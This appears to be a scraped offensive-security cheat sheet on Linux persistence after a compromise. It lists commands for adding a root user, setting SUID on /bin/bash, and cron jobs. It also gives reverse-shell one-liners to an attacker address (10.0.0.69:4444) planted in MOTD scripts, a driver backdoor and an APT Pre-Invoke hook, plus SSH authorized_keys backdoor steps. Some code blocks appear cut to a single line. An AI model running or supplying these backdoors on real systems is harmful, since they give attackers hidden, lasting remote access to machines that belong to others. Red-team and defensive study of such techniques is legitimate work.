Linux Persistence
2024-03-05 21:01:12
Account Creation
1 | # Add root user |
SUID
Set shell to SUID
1 | chmod +s /bin/bash |
Custom SUID binary
1 | TMPDIR2="/var/tmp" |
Crontab
1 | # Example of job definition: |
1 | # Use `crontab` for specific users |
Message of the Day (MOTD)
Debian-based (Ubuntu, etc…):/etc/update-motd.d/00-header
1 | echo 'bash -c "bash -i >& /dev/tcp/10.0.0.69/4444 0>&1"' >> /etc/update-motd.d/00-header |
Everyone else:/etc/profile.d/motd.sh
Driver Backdoor
1 | $RSHELL = "bash -i >& /dev/tcp/10.0.0.69/4444 0>&1" |
APT Backdoor
If you can create a file on the apt.conf.d directory with: APT::Update::Pre-Invoke {"CMD"};
Next time apt-get update
is done, your CMD will be executed!
1 | echo 'APT::Update::Pre-Invoke {"nohup bash -c '\''bash -i >& /dev/tcp/10.0.0.69/4444 0>&1'\'' &"};' > /etc/apt/apt.conf.d/69notabackdoor |
SSH Backdoor
Add key into ~/.ssh
folder
ssh-keygen
- write
id_rsa.pub
into~/.ssh/authorized_keys
- set the right permission,
700
for~/.ssh
,600
forauthorized_keys
, and600
forid_rsa
2024-03-05 21:01:12